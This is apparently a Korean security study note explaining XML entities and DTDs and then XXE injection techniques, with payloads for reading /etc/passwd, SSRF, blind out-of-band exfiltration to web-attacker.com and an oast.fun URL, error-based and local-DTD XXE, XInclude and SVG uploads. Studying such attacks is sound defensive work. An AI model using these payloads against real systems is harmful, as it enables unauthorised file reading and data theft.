XXE Injection
💣

XXE Injection

Description
XXE Injection이란?
category
WebHacking
Tag
Date
May 2, 2024 07:44 AM

Background

XML?

XML은 Extensible Markup Language의 약자입니다. 한마디로 다목적 마크업 언어이다.
XML은 인터넷이 연결된 서비스끼리 데이터를 용이하게 전달하기 위해 개발되었다.
XML은 웹사이트, 데이터베이스, SOAP 통신 프로토콜 등 많은 곳에서 사용된다.

XML의 선언

XML 문서는 자신에 대한 정보를 일부 선언하는 것으로 시작된다.
<?xml version=”1.0” encoding=”UTF-8” ?> 와 같이 선언된다.

XML의 문법

HTML과 같이 태그 형식의 문법을 사용한다.
태그에는 대소문자가 다르면 다른 요소로 인식한다.
XML은 띄어쓰기를 인식한다.

XML의 간단한 예시

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <note> <name> <firstname>CHOI</firstname> <secondname>BOKYU</secondname> </name> </note>

XML의 Entity

엔티티는 XML에서 특정 문자를 대체하는 역할을 합니다.
엔티티는 일반적으로 &로 시작하고 ;로 끝나는 이름으로 표현됩니다.
XML에서는 아래와 같이 내장 엔티티를 지원합니다.
  1. &amp;: & (ampersand) 문자를 나타냅니다.
  1. &lt;: < (less than) 문자를 나타냅니다.
  1. &gt;: > (greater than) 문자를 나타냅니다.
  1. &quot;: " (double quote) 문자를 나타냅니다.
  1. &apos;: ' (apostrophe 또는 single quote) 문자를 나타냅니다.
&#61; = a 와 같이 hex을 통해서 문자를 표기 할 수 있습니다.
<!ENTITY ADDRESS “8.8.8.8”> 라고 선언하고 &ADDRESS; 로 참조해서 사용할 수 있습니다.
엔티티는 외부 데이터를 가져와서 참조시킬 수 있습니다.
<?xml version="1.0"?> <!DOCTYPE example [ <!ENTITY localFile SYSTEM "file:///path/to/externalFile.txt"> <!ENTITY externalResource SYSTEM "https://example.com/resource.txt"> ]> <example> <content> Local File Content: &localFile; <br/> External Resource Content: &externalResource; </content> </example>

XML의 DTD

Document Type Definition의 약자로 XML의 구조를 정의하고 검사하는 방법을 제공합니다.
또한 DTD에도 ENTITY 선언이 가능합니다.
 
아래는 DTD의 사용 예시입니다.
<?xml version="1.0"?> <!DOCTYPE addressbook SYSTEM "addressbook.dtd"> <!DOCTYPE test [!ENTITY testing "test"]> <addressbook> <contact id="1"> <name>John Doe</name> <email>john@example.com</email> <phone>123-456-7890</phone> </contact> <contact id="2"> <name>&admin;</name> <email>jane@example.com</email> <phone>987-654-3210</phone> </contact> </addressbook> <test> <bar>&testing;</bar> </test>
XML
<!ELEMENT addressbook (contact+)> <!ELEMENT contact (name, email, phone)> <!ELEMENT name (#PCDATA)> <!ELEMENT email (#PCDATA)> <!ELEMENT phone (#PCDATA)> <!ATTLIST contact id ID #REQUIRED > <!ENTITY admin "admin">
addressbook.dtd
XML파일이 DTD에 준수하는지 확인할 수 있습니다. 만일 구조가 일치하지 않다면 오류 메세지를 내보냅니다.
💡
(#PCDATA) <!ELEMENT name (#PCDATA)> 이런식으로 elment 선언이 되었다면 element name의 #PCDATA는 텍스트 데이터를 의미합니다.
 
DTD 내부에서만 ENTITY를 사용할 땐 파라미터 ENTITY를 사용해야 된다.
 
 

XXE Injection

XXE란?

notion image
XXE 취약점은 XML을 사용하는 서비스에서 발생할 수 있는 취약점입니다.
XXE 공격이 이루어지는 방식은 XML을 Parsing해서 사용하는 서비스에 악의적인 XML 구문을 입력하여 공격자가 원하는 동작을 수행 시키는 방입니다. 따라서 XML Parser가 존재하는 곳부터 영향력이 발생하게 되어 SSRF, RCE 등이 발생할 수 있으므로 위험한 취약점이라고 볼 수 있습니다.

XXE 취약점 탐지

소스코드를 통해 분석이 가능하다면 XML Parser의 사용 여부를 분석하고, 만일 소스코드 없이 동적으로 분석해야된다면 .xml 파일을 인자값으로 받거나, 에러에서 XML Pasing 관련 에러가 구간 위주로 분석해야됩니다.

Exploiting XXE

Exploiting XXE to retrieve files

XXE 취약점을 이용해서 서버에 존재하는 파일을 읽을 수 있습니다.
아래는 취약점에 대한 예시입니다. XML을 제출하여 유저의 이름으로 정보를 조회합니다.
<?xml version="1.0" encoding="UTF-8"?> <USER><name>bobong</name></USER>
공격자는 아래와 같은 방법으로 XXE 취약점을 이용해서 /etc/passwd를 읽을 수 있게 됩니다.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <USER><name>&xxe;</name></USER>
공격자는 /etc/passwd 파일을 외부 ENTITY에 정의하고 해당 ENTITY를 name 값에 사용합니다.
서비스에 별다른 방어 수단이 존재하지 않는다면 아래와 같이 응답을 통해 /etc/passwd 값이 포함 될 수 있습니다.
User Name : root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...

Exploiting XXE to perform SSRF attacks

XML의 ENTITY에서 URL를 통한 참조가 가능하기 때문에 SSRF가 발생할 수 있습니다.
아래와 같은 코드가 XML Parser를 통해 읽어지게 되면 내부 서버에서 직접 http요청을 하기 때문에 SSRF 취약점이 발생할 수 있습니다.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://hacker.com/"> ]> <USER><name>&xxe;</name></USER>

Blind XXE

Blind XXE는 에플리케이션에서 XXE 취약점이 존재하지만 외부 ENTITY값을 반환하지 않는 경우에 발생합니다. 2가지 방법을 통해 Blind XXE 취약점을 공격할 수 있습니다.

OAST & OOB

Out of Band는 외부 채널을 이용하여 XXE 구문을 보내는 기법입니다.
아래 Interactsh는 무료로 OOB를 지원해줍니다.
아래는 기본적으로 OOB를 이용한 Blind XXE Injection을 하는 방법입니다.
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate;

Error-Basd XXE

ENTITY 선언 과정 중 오류를 임의로 발생 시키는데, 발생 시키는 에러에 원하는 정보를 담아 읽는 방법 입니다. Error-Base XXE는 크게 두 가지 방법이 있습니다. 해당 방법들은 XML을 파싱하는 부분에서 에러 메세지를 보여주는지 확인 후 진행하면 좋습니다.
첫번째 방법은 malicious.dtd 파일을 작성하고 OOB 방식을 통해 DTD 파일을 참조 시켜 정보가 담긴 에러 메세지를 받는 방법입니다.
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
malicious.dtd
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
OOT 방식을 통한 malicious.dtd 선언
 
💡
두번째 방법은 OOB 방식이 막혀 사용할 수 없을 때 사용할 수 있습니다.
두번째 방법으로는 XML Parser가 작동되는 시스템 내부에 존재하는 다른 DTD 파일을 참조해서 XXE 취약점을 발생 시키는 방법입니다. 예를 들어 /usr/local/app/hi.dtd가 존재하고, 해당 DTD 파일에는 hello라는 ENTITY가 선언되어 있다고 볼 때 hello ENTITY에 에러 발생 구문을 재선언하여 Exploit 할 수 있습니다.
<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/hi.dtd"> <!ENTITY % hello ' <!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; '> %local_dtd; ]>
두번째 방법의 페이로드
 
시스템 내부에 존재하는 DTD 파일을 탐지하는 방법은 존재할 수도 있는 DTD 파일 리스트를 가지고 Brute-force를 통해 확인할 수 있습니다. 아래 링크는 존재할 수도 있는 DTD 파일 리스트를 정리해 놓은 GitHub 저장소입니다.

XInclude XXE

XInclude는 XML 문서에서 다른 XML 문서나 일반 텍스트 파일을 포함할 수 있는 메커니즘을 제공하는 XML 확장입니다. 이를 통해 하나의 XML 문서에서 다른 XML 문서의 일부를 가져와 재사용할 수 있습니다.
XML 파일의 DOCTYPE를 수정 할 수 없을 때 exploit 할 수 있는 방법입니다.
아래 코드는 일반적인 XInclude XXE 방식 payload입니다.
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>

SVG XXE

SVG는 XML 포맷을 이용하여 구성되어있습니다. 따라서 SVG를 업로드 시킬 수 있는 곳이 있다면 XXE 취약점이 존재할 수 있습니다.
아래는 SVG를 통한 XXE 인젝션에 대한 예시입니다.
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> </svg>
 

그 외

 
 

참조 링크

 

실습 환경

Blind XXE
PayLoad <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM ""> %xxe;]> <svg xmlns="http://www.w3.org/2000/svg" width="12cm" height="12cm"> <img/> </svg> API attack <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; oob SYSTEM 'https://zvltwtxrchdamnljbqkmlm77dfhhtx5mg.oast.fun?x=%file;'>"> %eval; %oob; LOCAL DTD <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:////usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % constant 'a)> <!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; '> %local_dtd; ]> <svg xmlns="http://www.w3.org/2000/svg" width="12cm" height="12cm"> <img/> </svg>
XXE
<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "https://webhook.site/5e7e3f92-200f-4fd7-a556-3d8328fda69f">]> <svg xmlns="http://www.w3.org/2000/svg" width="12cm" height="12cm"> <text x="5" y="15" fill="red">&file;</text> </svg>